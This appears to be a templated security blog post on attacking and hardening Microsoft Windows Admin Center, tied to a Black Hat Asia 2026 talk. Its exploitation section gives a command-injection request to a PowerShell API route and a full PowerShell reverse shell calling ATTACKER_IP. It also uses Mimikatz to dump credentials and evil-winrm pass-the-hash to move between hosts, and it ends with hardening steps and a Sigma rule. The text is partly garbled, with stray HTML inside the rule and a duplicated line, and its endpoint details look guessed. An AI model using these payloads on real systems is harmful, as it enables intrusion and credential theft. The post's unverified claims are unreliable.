Listen to this Post
Introduction:
Windows Admin Center (WAC) is Microsoft’s browser‑based management tool for Windows servers and clusters, designed to replace legacy MMC consoles. However, when trust boundaries between the gateway, target nodes, and authenticated users are misconfigured or overlooked, WAC becomes a critical attack surface. At Black Hat Asia 2026, researchers demonstrated how overlooked vulnerabilities in WAC can allow attackers to pivot from a compromised management interface to fully control enterprise infrastructure.
Learning Objectives:
- Understand how Windows Admin Center’s architecture creates privilege escalation and remote code execution attack vectors.
- Identify misconfigured WAC deployments using enumeration scripts and manual testing techniques.
- Apply hardening measures, including API access controls, certificate validation, and network segmentation.
You Should Know:
- Understanding Windows Admin Center Architecture and Trust Boundaries
Windows Admin Center runs as a gateway service (by default on port 443) that proxies requests to target machines via WinRM or PowerShell Remoting. Each target node trusts the gateway, and the gateway trusts authenticated users. If an attacker compromises the gateway or bypasses authentication, they can execute arbitrary commands on any managed server.
Step‑by‑step analysis of the attack surface:
- Gateway API endpoints – `/api/` routes expose server management functions.
- Extension feeds – Third‑party extensions can introduce hidden endpoints.
- Credential forwarding – Pass‑through authentication reuses tokens, enabling lateral movement.
Verify WAC exposure (Linux attacker perspective):
nmap -p 443 --script http-enum <WAC_IP> curl -k https://<WAC_IP>/api/health -v
Windows discovery from inside the network:
Test-NetConnection -ComputerName WAC_SERVER -Port 443 Invoke-WebRequest -Uri "https://WAC_SERVER/api/health" -SkipCertificateCheck
2. Exploiting Unauthenticated Endpoints and Misconfigured API Routes
Some WAC versions exposed diagnostic or extension feeds without proper authentication. Attackers can enumerate API endpoints that leak server names, running services, and even allow arbitrary PowerShell command injection.
Step‑by‑step exploitation guide:
- Enumerate public endpoints using common WAC API paths:
cat wac_paths.txt /api/connection /api/connections /api/extensions /api/webtoken /api/settings
-
Test for unauthenticated access (if WAC allows HTTP fallback or misconfigured auth):
curl -k https://<WAC_IP>/api/connections -H "Accept: application/json" curl -k -X POST https://<WAC_IP>/api/connection/<target>/powershell -H "Content-Type: application/json" -d '{"command":"whoami"}'
3. If command injection succeeds, establish reverse shell:
On attacker machine
nc -lvnp 4444
Command sent via WAC API
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "$c=New-Object System.Net.Sockets.TCPClient('ATTACKER_IP',4444);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($b,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb + 'PS ' + (pwd).Path + '> ';$sbt=([text.encoding]::ASCII).GetBytes($sb2);$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"
3. Privilege Escalation via Gateway Misconfigurations
WAC typically runs as NETWORK SERVICE or a dedicated service account. If this account has over‑privileged group memberships (e.g., Domain Admins, local Administrators on nodes), successful API compromise leads to full domain takeover.
Step‑by‑step privilege escalation check:
- After gaining API access, query the gateway’s process token:
Via WAC API or PowerShell Remoting Get-Process -Name "ServerManagementGateway" -IncludeUserName whoami /groups | findstr "S-1-5-32-544" Check for Admin group
- Dump stored credentials from WAC’s credential manager (if plaintext or reversible encryption):
On the WAC server (requires local admin) cmdkey /list Extract from Windows Vault dir C:\Users\<service_account>\AppData\Local\Microsoft\Credentials\ Use Mimikatz (post‑exploitation) – for authorized testing only privilege::debug sekurlsa::logonpasswords
- Abuse WinRM delegation to hop to other servers:
Using evil-winrm from attacker Linux evil-winrm -i <TARGET_NODE> -u compromised_user -H ntlm_hash
4. Hardening Windows Admin Center Against API Abuse
To prevent the attack chain, security teams must reconfigure WAC’s authentication, network exposure, and permission model.
Step‑by‑step hardening guide (Windows Server with WAC installed):
- Enforce HTTPS with strong ciphers – Disable HTTP fallback:
Set WAC to require HTTPS only Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\ServerManagementGateway" -Name "UseHttps" -Value 1 Disable TLS 1.0/1.1, enable TLS 1.2/1.3
-
Restrict API access to specific IP ranges using Windows Firewall:
New-NetFirewallRule -DisplayName "WAC Admin Only" -Direction Inbound -LocalPort 443 -Protocol TCP -RemoteAddress "192.168.1.0/24" -Action Allow New-NetFirewallRule -DisplayName "Block WAC Public" -Direction Inbound -LocalPort 443 -Protocol TCP -RemoteAddress "Any" -Action Block
-
Implement certificate validation for all nodes – prevent man‑in‑the‑middle:
Generate and assign a trusted certificate $cert = New-SelfSignedCertificate -DnsName "wac.yourdomain.com" -CertStoreLocation "cert:\LocalMachine\My" Bind to WAC gateway netsh http add sslcert ipport=0.0.0.0:443 certhash=$cert.Thumbprint appid="{00000000-0000-0000-0000-000000000000}" -
Run WAC under a least‑privilege managed service account (gMSA):
Create gMSA (Domain Admin required) New-ADServiceAccount -Name "WAC_SVC" -DNSHostName "wac.domain.com" -PrincipalsAllowedToRetrieveManagedPassword "WAC_Servers" Configure WAC service to use gMSA sc.exe config "ServerManagementGateway" obj="DOMAIN\WAC_SVC$" password=""
-
Detecting Compromised WAC Instances with Logging and SIEM
Proactive monitoring can identify exploitation attempts before a full breach.
Step‑by‑step detection configuration:
-
Enable WAC audit logging (Event Viewer path:
Applications and Services Logs\Microsoft\Windows\ServerManagementGateway):wevtutil set-log "Microsoft-Windows-ServerManagementGateway/Operational" /enabled:true /retention:false /maxsize:1073741824 auditpol /set /subcategory:"Application Generated" /success:enable /failure:enable
-
Monitor for unusual API requests – extract URLs from IIS logs (if WAC behind IIS):
Parse IIS logs for suspicious /api/powershell calls Get-Content "C:\inetpub\logs\LogFiles\W3SVC1\u_ex.log" | Select-String "/api/./powershell" -Context 2,2
-
Create a Sigma rule for WAC exploitation – example detection logic:
title: WAC Suspicious PowerShell API Call status: experimental logsource: product: windows service: iis detection: selection: cs-uri-query|contains: '/api/' cs-uri-query|contains:</p></li> </ol> <p>- 'powershell' - 'Invoke-Command' - 'whoami' condition: selection
- Deploy a honey‑token endpoint on `/api/secret` to trap attackers:
Create a fake API endpoint that triggers alert Add-Content -Path "C:\inetpub\wwwroot\web.config" -Value @" <location path="api/secret"> <system.webServer> <httpErrors errorMode="Custom" existingResponse="Replace"> <remove statusCode="404"/> <error statusCode="404" path="/alerts/honeytoken.ashx" responseMode="ExecuteURL"/> </httpErrors> </system.webServer> </location> "@
What Undercode Say:
- Key Takeaway 1: Windows Admin Center’s trust boundary – where the gateway acts as a proxy for all management commands – is the primary target. If attackers break authentication or hijack a session, they own everything the gateway can reach.
- Key Takeaway 2: Default configurations often leave HTTP fallback, weak TLS, and over‑privileged service accounts. These are not theoretical risks; Black Hat Asia 2026 confirmed working exploits.
Analysis: The shift to browser‑based management tools (WAC, Azure Arc, etc.) mirrors the move to cloud control planes. However, on‑premises deployments frequently lack the same network segmentation and identity hardening. Many organizations treat WAC as “just another internal web app” without applying API security controls – no rate limiting, no input validation on PowerShell parameters, no audit of extension manifests. The attack surface grows further when third‑party extensions (e.g., for backups or antivirus) are installed without review. Blue teams must assume that any management gateway will be probed; therefore, zero‑trust for the gateway itself – requiring device certificates, just‑in‑time elevation, and out‑of‑band approval for PowerShell execution – becomes essential. The Linux commands shown above demonstrate how easy enumeration is; a single unauthenticated `curl` to `/api/connections` can leak the entire server inventory. Fixing this requires treating WAC as a crown jewel asset, not a convenience layer.
Prediction:
In the next 12–18 months, expect a wave of automated scanners targeting Windows Admin Center and similar management gateways (e.g., VMware vCenter, Okta AD Agent). Attackers will integrate WAC API exploitation into ransomware pre‑execution phases – first compromising a low‑privilege user via phishing, then scanning internal RFC1918 space for port 443 with WAC specific banners, then using the gateway to deploy payloads across all managed nodes. Microsoft will likely release an emergency patch cycle (similar to Exchange Server) but legacy versions will remain vulnerable. Organizations that fail to isolate WAC behind a dedicated jump host with network‑level authentication will face full domain takeovers. The long‑term solution is to replace password‑based authentication with Azure AD device‑joined certificates and enforce PowerShell Constrained Language Mode on all nodes reachable by WAC. Until then, every exposed `/api/powershell` endpoint is a skeleton key.
▶️ Related Video (80% Match):
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Ilan Kalendarov – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]
📢 Follow UndercodeTesting & Stay Tuned:
- Deploy a honey‑token endpoint on `/api/secret` to trap attackers:
